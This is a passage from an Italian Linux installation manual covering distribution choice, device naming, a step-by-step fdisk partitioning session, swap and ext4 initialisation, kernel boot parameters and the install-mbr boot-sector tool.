Red Hat	La distribuzione GNU/Linux Red Hat, nella seconda metà degli anni 1990 è stata una delle prime distribuzioni per utenti poco esperti di sistemi Unix, orientata all'uso grafico, che in particolare ha introdotto un proprio metodo di gestione dei pacchetti applicativi, in modo da renderne più facile l'installazione e la disinstallazione. Questi pacchetti sono distribuiti in archivi in formato RPM (*Red Hat package manager*), formato che è poi stato usato anche da altre distribuzioni.

Nome	Descrizione
Debian	La distribuzione GNU/Linux Debian è realizzata attraverso il contributo di un gran numero di persone e tutto è organizzato per facilitare la loro coordinazione. Un aspetto molto importante della politica della distribuzione è l'attenzione alle licenze e ad altre restrizioni legali dei paesi occidentali, per cui i pacchetti, oltre che contenere sempre le informazioni sulla licenza, ricevono anche una classificazione di massima che consente di capire sommariamente il genere di libertà o di restrizioni che comporta l'installazione di questi. Questa distribuzione è adatta agli utenti che hanno una buona conoscenza dei sistemi Unix e ha una gestione ottima dei pacchetti applicativi, attraverso l'uso di un proprio formato, con estensione '`.deb`'. L'installazione iniziale può essere complessa per un principiante, ma ci sono molte varianti di questa distribuzione che organizzano un sistema di installazione alternativo più semplice, lasciando poi un sistema sostanzialmente compatibile con la distribuzione Debian standard.

6.2 Nomi dei dispositivi delle unità di memorizzazione

GNU/Linux utilizza dei nomi bene ordinati per i file di dispositivo, ma questi possono confondere chi proviene dall'esperienza di altri sistemi operativi. I nomi più comuni sono '`/dev/sda`', '`/dev/sdb`', '`/dev/sdc`',... per rappresentare le unità di memorizzazione di massa nel loro complesso. Ma le unità di memorizzazione di massa, ad accesso diretto, sono suddivise normalmente in partizioni, dove per fare riferimento a queste si aggiunge un numero alla fine del nome. Per esempio, '`/dev/sda1`' è la prima partizione della prima unità; '`/dev/sda2`' è la seconda partizione della prima unità.

La distinzione tra i nomi usati per le partizioni primarie e le «partizioni logiche» contenute in quelle estese, può creare confusione ulteriore. In generale, conviene non utilizzare partizioni logiche, se non c'è una necessità reale. Volendo prendere come esempio la prima unità di memorizzazione, le prime quattro partizioni normali (primarie ed estese) hanno nomi che vanno da '`/dev/sda1`' a '`/dev/sda4`', mentre le partizioni logiche utilizzano nomi da '`/dev/sda5`' in poi.

6.3 Preparazione

Prima di poter installare GNU/Linux occorre che sia pronto l'elaboratore che deve accoglierlo; solitamente, la cosa più importante da sistemare è l'organizzazione delle partizioni delle unità di memorizzazione di massa ad accesso diretto (di solito i dischi fissi).

Il principiante non può pretendere di fare cose troppo complesse, pertanto è necessario che disponga di un elaboratore da dedicare completamente al nuovo sistema operativo. D'altra parte, l'utente più preparato, che ritiene di avere raggiunto l'abilità necessaria a installare il nuovo sistema operativo facendolo convivere con un altro che risulta già installato, non può considerarsi infallibile e deve premunirsi con delle copie di sicurezza preventive.

Il kernel Linux può essere predisposto per la gestione di una grande quantità di file system; tuttavia, fino a quando non si raggiunge l'esperienza necessaria, è bene installare il sistema GNU/Linux nel suo file system standard, noto con il nome Second-extended, preferendo possibilmente la versione più avanzata di tale tipo di file system (attualmente dovrebbe trattarsi del tipo Ext4).

Prima di iniziare l'installazione di una distribuzione GNU/Linux qualsiasi, occorre avere un modo di avviare il programma di installazione. Ci potrebbero essere dei dischi ottici, delle memorie solide esterne (come quelle USB), o qualunque altro tipo di sistema di memorizzazione rimovibile. Qualunque sia il tipo di unità di memorizzazione previsto, di norma vengono distribuiti dei ***file-immagine***, ovvero file che consentono la riproduzione esatta dell'unità che rappresentano, disponendo però degli strumenti necessari per farlo.

6.4 Partizioni e file system

GNU/Linux può essere installato in una unità di memorizzazione di massa ad accesso diretto, utilizzando una sola o più partizioni. Inoltre, ci può essere la necessità di creare una partizione da dedicare allo scambio della memoria virtuale (*swap*), se la memoria centrale fisica è insufficiente. La partizione di scambio è una partizione come le altre, identificata e inizializzata in modo diverso. In generale è conveniente utilizzare una dimensione pari ad almeno la stessa quantità di memoria RAM esistente, tenendo conto che una dimensione maggiore della necessità effettiva non comporta inconvenienti, a parte lo spreco di spazio nella memoria di massa.

Se la memoria di massa di cui si dispone è in forma di memoria solida, non si deve assolutamente predisporre alcun metodo per lo scambio della memoria virtuale, perché ciò danneggerebbe velocemente tale memoria solida. Solo le unità a disco magnetico possono essere sfruttate per lo scambio della memoria.

Nella scelta di come organizzare la suddivisione in partizioni, si pone il problema della posizione in cui si trovano il kernel e gli altri file utilizzati per l'avvio. Questi devono trovarsi fisicamente nella parte iniziale del disco, in base ai limiti che può avere il BIOS degli elaboratori x86. Nel caso di BIOS molto vecchi, è necessario che i file utilizzati per l'avvio si trovino entro il 1024-esimo cilindro (secondo la geometria virtuale attribuita all'unità); con BIOS più recenti esiste ugualmente un limite, anche se più avanzato. Dal momento che se una partizione termina oltre un certo limite di riferimento, non ci può essere la certezza che certi file si trovino sicuramente prima di quella posizione, per evitare dubbi, qualunque sia il tipo di memoria di massa, si crea normalmente una partizione apposita, delle sole dimensioni necessarie a contenere i file utilizzati per l'avvio (di solito si tratta di tutto ciò che è contenuto nella directory '`/boot/`'), all'inizio dell'unità.

6.5 Moduli

Le distribuzioni GNU/Linux comuni utilizzano la tecnica della scomposizione del kernel in moduli, in modo da ridurre le dimensioni del blocco principale del kernel e da utilizzare meno memoria centrale, rispetto a quella che si userebbe con un kernel monolitico completo.

Un sistema GNU/Linux abbastanza completo, anche se può essere avviato da un CD o da un DVD, dovrebbe essere in grado di riconoscere i componenti hardware presenti e di caricare in modo appropriato i moduli necessari a gestirli. Tuttavia, quando questo meccanismo fallisce, oppure manca del tutto, ci può essere la necessità di caricare manualmente i moduli, attraverso dei comandi specifici. Eventualmente, in presenza di hardware particolare o molto vecchio, diventa necessario, oltre che indicare il modulo da caricare, specificare dei parametri, in base alle caratteristiche dell'hardware stesso. Eventualmente, nel capitolo 8 sono elencati alcuni moduli che richiedono dei parametri.

6.6 Aggiornamento di un'installazione precedente

Le distribuzioni GNU/Linux che utilizzano un sistema di gestione dei pacchetti più o meno raffinato, consentono teoricamente di aggiornare un'installazione precedente. In molti casi questo costituisce un'insidia, perché alle volte l'aggiornamento fallisce e infine si resta con un sistema zoppicante oppure non funzionante del tutto.

Se si intende utilizzare veramente la possibilità di aggiornare un'installazione precedente, è indispensabile fare prima una copia di sicurezza, a meno di avere una fiducia illimitata nei confronti della distribuzione che si utilizza.

6.7 Creazione delle partizioni e inizializzazione

L'installazione di una distribuzione GNU/Linux può essere preceduta da una preparazione delle partizioni attraverso un sistema di emergenza avviato da CD/DVD o da altre unità di memorizzazione rimovibili. Naturalmente, questo sistema GNU/Linux di emergenza avviato provvisoriamente, deve essere dotato di una raccolta minima di programmi essenziali. Spesso, le stesse distribuzioni GNU/Linux comuni offrono strumenti del genere.

Le distribuzioni più comuni sono in grado di gestire tutto all'interno delle procedure di installazione, ma spesso, in questo modo, si ignora il senso di ciò che si fa. Prima di installare GNU/Linux la prima volta, occorrerebbe apprendere l'uso dei programmi per la creazione e la modifica delle partizioni; inoltre è opportuno conoscere il modo in cui queste possono essere inizializzate.

Il programma principale per la creazione delle partizioni è '**fdisk**', con un'impostazione elementare, a riga di comando. Contrariamente a ciò che si potrebbe pensare, un programma del genere è il più adatto al principiante, perché non dà nulla per scontato, mentre altri programmi più elaborati presumono che alcuni concetti sulle partizioni dei dischi siano già chiari.

Qui viene mostrato l'uso del vecchio '**fdisk**',[1] con un esempio completo, dove l'unità di memorizzazione di massa è un disco ATA. Anche se questo programma sta scomparendo dai dischi di installazione delle distribuzioni, resta quello più semplice da descrivere; inoltre l'apprendimento del suo utilizzo facilita la comprensione degli altri programmi alternativi.

```
fdisk [dispositivo]
```

Il programma '**fdisk**' riceve come argomento il nome del file di dispositivo che si riferisce all'unità di memorizzazione nel suo complesso, dal momento che agisce proprio sulle partizioni e non all'interno di queste ultime. Supponendo di lavorare sul primo disco fisso SATA, si deve avviare '**fdisk**' nel modo seguente:

`# fdisk /dev/sda` [*Invio*]

Il programma '**fdisk**' risponde mostrando un invito particolare:

```
Command (m for help):
```

Il programma '**fdisk**' accetta comandi composti da una sola lettera e per vederne un breve promemoria basta utilizzare il comando '**m**'.

```
Command (m for help): m[Invio]

  Command action
     a   toggle a bootable flag
     b   edit bsd disklabel
     c   toggle the dos compatibility flag
     d   delete a partition
     l   list known partition types
     m   print this menu
     n   add a new partition
     o   create a new empty DOS partition table
     p   print the partition table
     q   quit without saving changes
     s   create a new empty Sun disklabel
     t   change a partition's system id
     u   change display/entry units
     v   verify the partition table
     w   write table to disk and exit
     x   extra functionality (experts only)
```

La prima cosa da fare è accertarsi della situazione iniziale della propria unità di memorizzazione; a questo proposito il comando '**p**' permette di visualizzare l'elenco delle partizioni esistenti:

```
Command (m for help): p[Invio]


  Disk /dev/sda: 811.7 GB, 811748818944 bytes
  16 heads, 63 sectors/track, 1572864 cylinders
  Units = cylinders of 1008 * 512 = 516096 bytes

      Device Boot      Start         End      Blocks   Id  System
  /dev/sda1    *           1      700000   352799968+   7  HPFS/NTFS
  /dev/sda2           700001     1572864   439923456    b  W95 FAT32
```

Si vogliono eliminare entrambe le partizioni, cominciando dalla prima:

```
Command (m for help): d[Invio]

Partition number (1-4): 1[Invio]
```

A questo punto resta solo la seconda partizione:

```
Command (m for help): p[Invio]


  Disk /dev/sda: 811.7 GB, 811748818944 bytes
  16 heads, 63 sectors/track, 1572864 cylinders
  Units = cylinders of 1008 * 512 = 516096 bytes

      Device Boot      Start         End      Blocks   Id  System
  /dev/sda2           700001     1572864   439923456    b  W95 FAT32
```

Si elimina anche la seconda partizione, ma in tal caso non viene richiesto di indicare quale eliminare, in quanto ne rimane una sola:

```
Command (m for help): d[Invio]

  Selected partition 2

Command (m for help): p[Invio]

  Disk /dev/sda: 811.7 GB, 811748818944 bytes
  16 heads, 63 sectors/track, 1572864 cylinders
  Units = cylinders of 1008 * 512 = 516096 bytes

      Device Boot      Start         End      Blocks   Id  System
```

Si procede definendo una partizione iniziale per l'avvio del sistema:

```
Command (m for help): n[Invio]

  Command action
     e   extended
     p   primary partition (1-4)
```

In questo caso si seleziona un tipo di partizione primaria.

```
p[Invio]

Partition number (1-4):
```

Trattandosi della prima partizione, si inserisce il numero uno.

```
Partition number (1-4): 1[Invio]
```

Viene richiesta quindi l'indicazione del primo cilindro a partire dal quale deve iniziare la nuova partizione. Vengono già proposti il valore minimo e quello massimo.

```
First cylinder (1-1572864, default 1): 1[Invio]
```

Quindi viene richiesta l'indicazione dell'ultimo cilindro, o della dimensione minima della partizione. In questo caso si indica come ultimo cilindro proprio il 1023-esimo, per garantire l'accessibilità dei file alle funzioni del BIOS:

```
Last cylinder or +size or +sizeM or +sizeK (1-1572864, ↩
↪default 1572864): 1023[Invio]
```

Per visualizzare il risultato basta utilizzare il solito comando '**p**'.

```
  Disk /dev/sda: 811.7 GB, 811748818944 bytes
  16 heads, 63 sectors/track, 1572864 cylinders
  Units = cylinders of 1008 * 512 = 516096 bytes

      Device Boot      Start         End      Blocks   Id  System
  /dev/sda1                1        1023      515560+  83  Linux
```

Si vuole aggiungere una partizione molto grande, con lo scopo di ospitare tutto il resto del sistema GNU/Linux, compresi i dati personali, lasciando un po' di spazio alla fine per una partizione di scambio:

```
Command (m for help): n[Invio]
```

```
  Command action
     e   extended
     p   primary partition (1-4)
```

Anche in questo caso si seleziona un tipo di partizione primaria.

```
p[Invio]
```

```
Partition number (1-4):
```

Trattandosi della seconda partizione, si inserisce il numero due.

```
Partition number (1-4): 2[Invio]
```

Il cilindro iniziale viene lasciato al valore predefinito:

```
First cylinder (1024-1572864, default 1024): [Invio]
```

```
  Using default value 1024
```

Quindi viene richiesta l'indicazione dell'ultimo cilindro, o della dimensione approssimativa della partizione. In questo caso si richiede una dimensione di circa 810 Gibyte.

```
Last cylinder or +size or +sizeM or +sizeK (1024-1572864, ↩
↪default 1572864): +810G[Invio]
```

Ecco il risultato:

```
Command (m for help): p[Invio]
```

```
  Disk /dev/sda: 811.7 GB, 811748818944 bytes
  16 heads, 63 sectors/track, 1572864 cylinders
  Units = cylinders of 1008 * 512 = 516096 bytes

      Device Boot      Start         End      Blocks   Id  System
  /dev/sda1                1        1023      515560+  83  Linux
  /dev/sda2             1024     1570499   791015904   83  Linux
```

Come già accennato, nella parte rimanente dell'unità, si vuole inserire una partizione di scambio; per la precisione, si decide di indicarla come quarta partizione primaria:

```
Command (m for help): n[Invio]
```

```
  Command action
     e   extended
     p   primary partition (1-4)
```

p [*Invio*]

```
Partition number (1-4): 4

First cylinder (1570500-1572864, default 1570500): [Invio]

  Using default value 1570500

Last cylinder or +size or +sizeM or +sizeK (1570500-1572864, ↩
↪default 1572864): [Invio]

  Using default value 1572864

Command (m for help): p[Invio]

  Disk /dev/sda: 811.7 GB, 811748818944 bytes
  16 heads, 63 sectors/track, 1572864 cylinders
  Units = cylinders of 1008 * 512 = 516096 bytes

      Device Boot      Start         End      Blocks   Id  System
  /dev/sda1                1        1023      515560+  83  Linux
  /dev/sda2             1024     1570499   791015904   83  Linux
  /dev/sda4          1570500     1572864     1191960   83  Linux
```

Come si vede, anche in questo caso è stata aggiunta una partizione di tipo Linux-nativa, che è adatta ad accogliere un file system Second-extended (Ext2, Ext3 o Ext4) e non lo scambio della memoria, quindi occorre cambiare il tipo di identificazione della partizione:

```
Command (m for help): t[Invio]

Partition number (1-4): 4[Invio]

Hex code (type L to list codes):
```

Come suggerito, conviene visualizzare l'elenco dei codici.

```
Hex code (type L to list codes): L[Invio]

 0  Empty           1e  Hidden W95 FAT1 80  Old Minix       be  Solaris boot
 1  FAT12           24  NEC DOS         81  Minix / old Lin bf  Solaris
 2  XENIX root      39  Plan 9          82  Linux swap / So c1  DRDOS/sec (FAT-
 3  XENIX usr       3c  PartitionMagic  83  Linux           c4  DRDOS/sec (FAT-
 4  FAT16 <32M      40  Venix 80286     84  OS/2 hidden C:  c6  DRDOS/sec (FAT-
 5  Extended        41  PPC PReP Boot   85  Linux extended  c7  Syrinx
 6  FAT16           42  SFS             86  NTFS volume set da  Non-FS data
 7  HPFS/NTFS       4d  QNX4.x          87  NTFS volume set db  CP/M / CTOS / .
 8  AIX             4e  QNX4.x 2nd part 88  Linux plaintext de  Dell Utility
 9  AIX bootable    4f  QNX4.x 3rd part 8e  Linux LVM       df  BootIt
 a  OS/2 Boot Manag 50  OnTrack DM      93  Amoeba          e1  DOS access
 b  W95 FAT32       51  OnTrack DM6 Aux 94  Amoeba BBT      e3  DOS R/O
 c  W95 FAT32 (LBA) 52  CP/M            9f  BSD/OS          e4  SpeedStor
 e  W95 FAT16 (LBA) 53  OnTrack DM6 Aux a0  IBM Thinkpad hi eb  BeOS fs
```

```
 f  W95 Ext'd (LBA) 54  OnTrackDM6      a5  FreeBSD         ee  EFI GPT
10  OPUS            55  EZ-Drive        a6  OpenBSD         ef  EFI (FAT-12/16/
11  Hidden FAT12    56  Golden Bow      a7  NeXTSTEP        f0  Linux/PA-RISC b
12  Compaq diagnost 5c  Priam Edisk     a8  Darwin UFS      f1  SpeedStor
14  Hidden FAT16 <3 61  SpeedStor       a9  NetBSD          f4  SpeedStor
16  Hidden FAT16    63  GNU HURD or Sys ab  Darwin boot     f2  DOS secondary
17  Hidden HPFS/NTF 64  Novell Netware  b7  BSDI fs         fd  Linux raid auto
18  AST SmartSleep  65  Novell Netware  b8  BSDI swap       fe  LANstep
1b  Hidden W95 FAT3 70  DiskSecure Mult bb  Boot Wizard hid ff  BBT
1c  Hidden W95 FAT3 75  PC/IX
```

Il codice di una partizione di scambio è 82_{16} e così viene indicato:

```
Hex code (type L to list codes): 82[Invio]
```

```
Changed system type of partition 4 to 82 (Linux swap / Solaris)
```

```
Command (m for help): p[Invio]
```

```
Disk /dev/sda: 811.7 GB, 811748818944 bytes
16 heads, 63 sectors/track, 1572864 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes

    Device Boot      Start         End      Blocks   Id  System
/dev/sda1                1        1023      515560+  83  Linux
/dev/sda2             1024     1570499   791015904   83  Linux
/dev/sda4          1570500     1572864     1191960   83  Linux swap / Solaris
```

Per registrare definitivamente le variazioni apportate si utilizza il comando '**w**'. Se invece si preferisce rinunciare, basta utilizzare il comando '**q**' che si limita a concludere l'esecuzione del programma annullando le operazioni svolte.

```
Command (m for help): w[Invio]
```

```
The partition table has been altered!
…
Syncing disks.
…
```

In una situazione reale è possibile che si vogliano utilizzare più partizioni per GNU/Linux. In questo senso potrebbe essere necessario l'utilizzo di partizioni estese, all'interno delle quali collocare varie partizioni logiche. Supponendo di avere un «pentimento» e di volere trasformare la partizione '`/dev/sda2`' in partizione estesa e di volervi collocare al suo interno due partizioni logiche per qualche scopo, si potrebbe agire nel modo che viene illustrato di seguito:

```
Command (m for help): d[Invio]
```

```
Partition number (1-4): 2[Invio]
```

```
Command (m for help): n[Invio]
```

```
Command action
   e   extended
   p   primary partition (1-4)
```

In questo caso si tratta di una partizione estesa da suddividere e il procedimento è identico a quello per la creazione di una partizione primaria:

e [*Invio*]

`Partition number (1-4):` **2** [*Invio*]

`First cylinder (1024-1572864, default 1024):` [*Invio*]

```
Using default value 1024
```

`Last cylinder or +size or +sizeM or +sizeK (1024-1570499, ↩`
`↪default 1570499):` [*Invio*]

```
Using default value 1570499
```

`Command (m for help):` **p** [*Invio*]

```
Disk /dev/sda: 811.7 GB, 811748818944 bytes
16 heads, 63 sectors/track, 1572864 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes

    Device Boot      Start         End      Blocks   Id  System
/dev/sda1                1        1023      515560+  83  Linux
/dev/sda2             1024     1570499   791015904   83  Extended
/dev/sda4          1570500     1572864     1191960   83  Linux swap / Solaris
```

Quindi, si deve scomporre la partizione estesa. Si suppone di volere creare due partizioni logiche; una di circa 100 Gibyte e l'altra dello spazio rimanente.

`Command (m for help):` **n** [*Invio*]

```
Command action
   l   logical (5 or over)
   p   primary partition (1-4)
```

Si deve scegliere la lettera «l», per richiedere la creazione di una partizione logica.

l [*Invio*]

A differenza di quanto visto per le partizioni primarie, non viene più chiesto il numero della partizione:

`First cylinder (1024-1570499, default 1024):` [*Invio*]

```
Using default value 1024
```

```
Last cylinder or +size or +sizeM or +sizeK (1024-1570499, ↩
↪default 1570499): +100G[Invio]

Command (m for help): n[Invio]


  Command action
     l   logical (5 or over)
     p   primary partition (1-4)

l[Invio]

First cylinder (194787-1570499, default 194787): [Invio]


  Using default value 194787

Last cylinder or +size or +sizeM or +sizeK (194787-1570499, ↩
↪default 1570499): [Invio]


  Using default value 1570499

Command (m for help): p[Invio]


  Disk /dev/sda: 811.7 GB, 811748818944 bytes
  16 heads, 63 sectors/track, 1572864 cylinders
  Units = cylinders of 1008 * 512 = 516096 bytes

      Device Boot      Start         End      Blocks   Id  System
  /dev/sda1                1        1023      515560+  83  Linux
  /dev/sda2             1024     1570499   791015904   83  Extended
  /dev/sda4          1570500     1572864     1191960   83  Linux swap / Solaris
  /dev/sda5             1024      194786    97656520+  83  Linux
  /dev/sda6           194787     1570499   693359320+  83  Linux

Command (m for help): w[Invio]
```

Una volta definite le partizioni, queste vanno inizializzate. Seguendo l'esempio già visto, in cui è stata creata una partizione corrispondente al file di dispositivo '`/dev/sda4`' per lo scambio della memoria virtuale e due partizioni corrispondenti a '`/dev/sda1`' e '`/dev/sda2`' e per l'installazione del sistema, si può procedere come viene mostrato di seguito.

Di solito conviene cominciare con le partizioni di scambio; per la loro inizializzazione si utilizza '**`mkswap`**':[2]

```
# mkswap -c /dev/sda4[Invio]
```

Se necessario, di solito quando si ha a disposizione poca memoria centrale, è possibile attivare subito l'utilizzo di questa partizione di scambio appena creata, per estendere la memoria virtuale, senza attendere che lo faccia la procedura di installazione. Ciò si ottiene attraverso il programma '**`swapon`**'.

```
# swapon /dev/sda4[Invio]
```

Dopo le partizioni di scambio, si può passare a quelle utilizzate per la realizzazione del file system, cioè quelle utilizzate per installarvi al loro interno il sistema operativo. Le partizioni di tipo Linux-nativa devono essere inizializzate attraverso il programma '**mkfs.ext4**':[3]

mkfs.ext4 -c /dev/sda1 [*Invio*]

mkfs.ext4 -c /dev/sda5 [*Invio*]

mkfs.ext4 -c /dev/sda6 [*Invio*]

L'inizializzazione di una partizione deve riguardare solo le partizioni primarie o quelle logiche. Non è possibile inizializzare una partizione estesa, con l'intenzione di inizializzare simultaneamente tutte le partizioni logiche.

Al termine, le prime due partizioni contengono un file system Second-extended, in questo caso precisamente Ext4.

6.8 Parametri di avvio

Di solito, il caricamento di un sistema operativo avviene perché, all'atto dell'accensione di un elaboratore, il firmware (il BIOS degli elaboratori x86) si occupa di leggere ed eseguire un piccolo programma residente all'inizio di un'unità di memorizzazione. Negli elaboratori x86 questa porzione iniziale della memoria di massa è nota come MBR, ovvero *Master boot record*, costituito da un solo settore (512 byte). Eventualmente, quando si fa riferimento a una unità che non si suddivide in partizioni, si parla semplicemente di settore di avvio o di *boot*. Questo piccolo programma iniziale si occupa a sua volta di avviare il kernel (direttamente o attraverso un programma intermedio).

Il kernel non è sempre in grado di individuare da solo tutti i dispositivi fisici installati e a volte si desidera comunque di potergli dare delle istruzioni prima del suo avvio. Si tratta di parametri che gli possono essere passati in vari modi, per esempio:

- per mezzo dell'invito di avvio (*boot prompt*) quando si avvia attraverso SYSLINUX;
- per mezzo di un'istruzione '**append**', contenuta nel file di configurazione di SYSLINUX;
- attraverso l'aggiunta di argomenti finali nel comando '**kernel**' di GRUB.

Questi parametri, quando sono forniti, vengono indicati tutti insieme, separati tra loro da uno spazio. Ogni parametro non può contenere spazi. Nelle tabelle successive vengono indicati solo alcuni tipi di questi parametri. In particolare, non vengono descritti quelli specifici per i vari tipi di hardware. La sezione 8.5 raccoglie più dettagli sui parametri di avvio.

Tabella 6.30. File system principale.

Sintassi	Descrizione
`root=`***dispositivo***	Permette di indicare un dispositivo differente da quello predefinito per innestare il file system principale.
`ro`	Permette di definire un accesso iniziale al file system principale in sola lettura. Questa è la condizione necessaria per poter eseguire un controllo dell'integrità del file system prima di passare alla gestione normale.
`rw`	Permette di definire un accesso iniziale al file system principale in lettura e scrittura.

Tabella 6.31. Memoria.

Sintassi	Descrizione
`mem=`***dimensione***	In caso di necessità, permette di definire la dimensione di memoria RAM che si ha a disposizione effettivamente. Si può indicare un numero esadecimale nella forma 0x..., oppure un numero decimale normale, seguito eventualmente dalla lettera '**`k`**', che sta a indicare kibibyte (simbolo: «Kibyte»), oppure dalla lettera '**`M`**', che sta a indicare mebibyte (simbolo: «Mibyte»).

Tabella 6.32. Varie.

Sintassi	Descrizione
`init=`***programma_iniziale***	Permette di definire il nome, completo di percorso, del programma che deve svolgere le funzioni di «processo iniziale» (Init). Il kernel provvede da solo a cercare '`/sbin/init`' e in alternativa '`/etc/init`'. Come ultima risorsa tenta di avviare '`/bin/sh`'. Se per qualunque motivo non funziona il programma Init standard, si può tentare di avviare il sistema facendo partire la shell al suo posto.
`reserve=`***indirizzo_i_o*** **,** ***estensione*** ↩ ↪ [**,** ***indirizzo_i/o*** **,** ***estensione***] ...	Permette di isolare una o più zone di indirizzi di I/O in modo che il kernel non esegua alcun tentativo di identificazione di componenti in quella zona. Di solito, dopo un'opzione del genere, si inseriscono le dichiarazioni esplicite dei dispositivi che ci sono effettivamente. Il primo valore, quello che esprime l'indirizzo, viene espresso attraverso una notazione esadecimale del tipo consueto (0x...), mentre il secondo è un numero decimale.

Dal momento che esistono diversi modi per fornire al kernel delle opzioni di avvio, questi esempi dovrebbero chiarire le possibilità che ci sono a disposizione.

- `boot:` **`linux1 root=/dev/sda1 ro`** [*Invio*]

  Attraverso la riga di comando (di un sistema come SYSLINUX) si avvia la configurazione identificata dal nome '**`linux1`**', si indica la partizione che si vuole innestare come file system principale e l'accesso iniziale in sola lettura.

- `grub>` **`kernel (hd0,0)/boot/vmlinuz root=/dev/sda1 ro`** [*Invio*]

  Questo esempio riguarda il comando '**`kernel`**' di GRUB 1, con il quale si vuole avviare

il kernel corrispondente al file '/boot/vmlinuz' contenuto nella prima partizione della prima unità di memorizzazione, dando al kernel le stesse informazioni dell'esempio precedente.

- ```
  APPEND reserve=0x300,64 ether=11,0x300,eth0 ether=12,0x320,eth1
  ```

  Attraverso l'istruzione '**APPEND**' del file di configurazione di SYSLINUX si riserva la zona di indirizzi I/O tra 300_{16} e $33F_{16}$ e di seguito si specificano due schede di rete Ethernet che utilizzano proprio quella zona di indirizzi.

6.9 MBR

La distribuzione GNU/Linux Debian comprende un pacchetto specializzato per la creazione di un settore di avvio generico negli elaboratori x86. Lo scopo è quello di riprodurre in un certo modo ciò che si otterrebbe con il sistema operativo Dos usando il comando '**FDISK.EXE /MBR**', ampliando e generalizzando il meccanismo. Il pacchetto si chiama MBR[4] e il programma che in pratica si utilizza è '**install-mbr**'.

Il codice che installa il programma '**install-mbr**' permette di scegliere, in modo predefinito o interattivamente, la partizione da avviare, demandando così l'avvio al settore iniziale della partizione scelta.

Figura 6.34. Sigle usate da '**install-mbr**'.

Il disegno può forse servire per comprendere lo scopo e il comportamento del settore di avvio installato con '**install-mbr**'. Per la precisione, quando si avvia un'unità che contiene questo settore speciale, se richiesto appare un invito:
  ```

```
MBR
```

Da questa situazione è possibile premere un tasto a scelta tra [*1*], [*2*], [*3*], [*4*] o [*f*], per scegliere rispettivamente l'avvio della prima, seconda, terza e quarta partizione (oppure di un dischetto). Volendo si può anche chiedere aiuto, con il tasto [*h*], ottenendo la modifica dell'invito con il promemoria delle scelte possibili:

```
MBR 1234F::
```

Quando si usa '**install-mbr**' è possibile richiedere qualche piccolo adattamento del settore di avvio che si va a installare o a modificare; per esempio è possibile chiedere che la selezione con i numeri da uno a quattro si riferisca a un'unità di memorizzazione di massa diversa dalla prima (a cui corrisponde il codice 80_{16}).

Il programma '**install-mbr**' richiede l'indicazione del file di dispositivo corrispondente all'unità per la quale si vuole intervenire nel settore di avvio. Le opzioni possono apparire prima o dopo questa indicazione:

install-mbr [***opzioni***] ***file_di_dispositivo***

install-mbr ***file_di_dispositivo*** [***opzioni***]

Vengono descritte solo alcune opzioni nella tabella successiva.

Tabella 6.35. Alcune opzioni.

Opzione	Descrizione
-f --force	Forza l'operazione, quando diversamente il programma rinuncerebbe per qualche motivo.
-l --list	Visualizza la configurazione di un settore di avvio già installato in precedenza.
-v --verbose	Mostra più informazioni durante il funzionamento.
-d ***drive*** --drive ***drive***	In condizioni normali, l'avvio di una delle partizioni fa riferimento alla prima unità di memorizzazione (codice '**0x80**'), ma si può usare questa opzione indicando un riferimento differente, per esempio '**0x81**' per usare invece la seconda unità. Se non si scrive il prefisso '**0x**', il numero indicato si intende espresso in base dieci.

Opzione	Descrizione
`-e [1][2][3][4][F][A]` `--enable [1][2][3][4][F][A]`	Consente di specificare cosa è possibile avviare: i numeri da uno a quattro rappresentano le quattro partizioni primarie; la lettera «F» rappresenta il dischetto; la lettera «A» rappresenta funzioni speciali che non vengono descritte.
`-i [s][k][a][n]` `--interrupt [s][k][a][n]`	Consente di controllare l'apparizione dell'invito: la lettera «s» fa sì che la pressione di un tasto [*Maiuscole*] o di un tasto [*Ctrl*] faccia apparire l'invito; la lettera «k» lo fa apparire con un tasto diverso; la lettera «a» richiede che venga mostrato sempre l'invito; la lettera «n» fa in modo che non appaia, salvo il verificarsi di errori.
`-p [1][2][3][4][F][D]` `--partition [1][2][3][4][F][D]`	Consente di specificare l'avvio predefinito, utilizzando una delle quattro partizioni corrispondenti ai numeri da uno a quattro, il primo dischetto (lettera «F»), oppure la partizione marcata come «attiva», o «avviabile», scegliendo la lettera «D».
`-t` ***n*** `--timeout` ***n***	Attende ***n***/18 secondi prima di avviare la partizione o l'unità a dischetti fissata con l'opzione '**`-p`**'.

Segue la descrizione di alcuni esempi.

- `#` **`install-mbr /dev/sda`** [*Invio*]

  Installa il settore di avvio nella prima unità di memorizzazione.

- `#` **`install-mbr -e 12F /dev/sda`** [*Invio*]

  Installa il settore di avvio nella prima unità, abilitando l'avvio della prima e della seconda partizione, oltre alla possibilità di avviare da un dischetto.

- `#` **`install-mbr -e 12F -i a /dev/sda`** [*Invio*]

  Come nell'esempio precedente, specificando che si vuole sia mostrato sempre l'invito.

- `#` **`install-mbr -e 12F -i a -p 2 /dev/sda`** [*Invio*]

  Come nell'esempio precedente, specificando che si vuole sia avviata la seconda partizione in modo predefinito.

- `#` **`install-mbr -e 12F -i a -p 2 -t 54 /dev/sda`** [*Invio*]

  Come nell'esempio precedente, specificando un tempo di attesa di circa tre secondi, prima di procedere con l'avvio predefinito.

- `#` **`install-mbr -l /dev/sda`** [*Invio*]

Dopo aver eseguito il comando dell'esempio precedente, con questo si ottiene la descrizione della configurazione attuale del settore di avvio del primo disco fisso:

```
Version: 2
Compatible: 2
Y2K-Fix: Disabled
Drive: 0x80
Default: 2
Timeout: 54/18 seconds
Enabled: 1 2 F
Interrupt:
```

- # **install-mbr -d 0x81 -e 12F -i a -p 2 -t 54 /dev/sda** [*Invio*]

  # **install-mbr -l /dev/sda** [*Invio*]

  Il primo di questi due comandi richiede di fare riferimento alla **seconda** unità di memorizzazione (81_{16}), pur installando il settore di avvio nella prima; il secondo comando legge la configurazione:

```
Version: 2
Compatible: 2
Y2K-Fix: Disabled
Drive: 0x81
Default: 2
Timeout: 54/18 seconds
Enabled: 1 2 F
Interrupt:
```

Altri programmi affini.

ms-sys(1)[5]	⟨*http://ms-sys.sourceforge.net* ⟩ Si tratta di un programma in grado di ricostruire un settore di avvio MBR, conforme in modo particolare allo standard di Microsoft. Diventa utile soprattutto quando si deve ripristinare una partizione contenente un sistema operativo di Microsoft.

6.10 SYSLINUX

SYSLINUX[6] è un sistema di avvio versatile per sistemi GNU/Linux con architettura x86. In questo capitolo si considera principalmente l'avvio da unità a disco tradizionale o assimilabile a questa (come le unità di memoria solida su porta USB), ma SYSLINUX può avviare anche da CD/DVD e dalla rete, con il protocollo PXE.

